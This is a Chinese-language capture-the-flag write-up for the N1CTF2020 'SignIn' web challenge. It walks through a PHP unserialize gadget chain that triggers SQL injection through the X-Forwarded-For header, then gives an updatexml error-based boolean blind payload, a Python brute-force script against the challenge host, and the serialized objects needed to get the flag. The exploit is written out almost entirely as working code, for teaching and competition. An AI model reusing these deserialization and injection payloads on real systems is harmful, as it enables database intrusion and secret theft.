N1CTF2020-Web-SignIn
N1CTF2020-Web-SignIn
分析
访问靶机直接得到源码,里面写了两个class,还有一个获取get参数input进行反序列化的地方,所以解题应该是有反序列化的。
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
flag类中有一个成员方法getflag(),需要获取一个key值,就能读取/flag,但是使用的是全等于,所以应该需要在其他地方找到这个key值。
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
代码很短,第一感觉能获取到key值的地方就是ip类中的__toString()方法,这里面通过sprintf拼接sql语句后放入数据库中执行,且拼接语句中的$_SERVER['HTTP_X_FORWARDED_FOR']我们可以通过在HTTP头添加XFF来控制。需要找到一个地方触发ip类的__toString()方法,然后添加XFF就能实现注入了。
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
在flag类的__wakeup()方法中看到stristr(),这个方法是忽略大小写版本的strstr,即忽略大小写的字符串查找。并且如果stristr()中的参数为实例化对象时,会调用__toString()来转换成字符串。而正好这个stristr()的$this->ip我们可以使用反序列化来控制,那么就可以通过将$this->ip设置成new ip()来调用ip类的__toString()方法。首先生成序列化数据:
$f = new flag(new ip());
echo serialize($f);

然后通过get方法的input参数传入序列化数据,再添加XFF来进行注入。但是发现后端代码有黑名单检测,不允许XFF内容中出现sleep、benchmark,显然是拼接语句过程中的$this->waf($_SERVER['HTTP_X_FORWARDED_FOR'])做了检测。

但是这问题不大,ip类的__toString()方法是有返回值的,sql语句执行成功返回your ip looks ok!,失败则返回错误信息。

而我们控制调用ip类__toString()的地方,是在__toString()return结果中查找字符串n1ctf。

那么我们就可以通过利用__toString()会返回sql执行报错信息这一点,用报错注入来控制报错信息中出现n1ctf即可。
payload:X-Forwarded-for: ' or updatexml(1,concat(0x7e,(select if((1=1),'n1ctf',0)),0x7e),1) or '
if为真时,返回n1ctf,__wakeup()的stristr()查询到n1ctf在页面中打印welcome to n1ctf2020,if为假时返回noip,妥妥的布尔盲注。

getFlag
接下来就是python3 1.py一顿梭哈,就得到key了。
# coding: utf-8
import requests
word = '1234567890qwertyuioplkjhgfdsazxcvbnm'
url = 'http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}'
for a in range(1,50):
for ch in word:
payload = f'\' or updatexml(1,concat(0x7e,(select if((substring((select `key` from n1key),{a},1)=\'{ch}\'),\'n1ctf\',0)),0x7e),1) or \''
sess = requests.session()
head = {'X-Forwarded-for': payload}
resp = sess.get(url, headers=head)
if '<code>welcome to n1ctf2020</code>' in resp.text:
# print(str(a) + ': ' + ch)
print(ch, end='')

再使用key生成序列化数据,得到flag。
$f = new flag('n1ctf');
$f->check = 'n1ctf20205bf75ab0a30dfc0c';
echo serialize($f);


浙公网安备 33010602011771号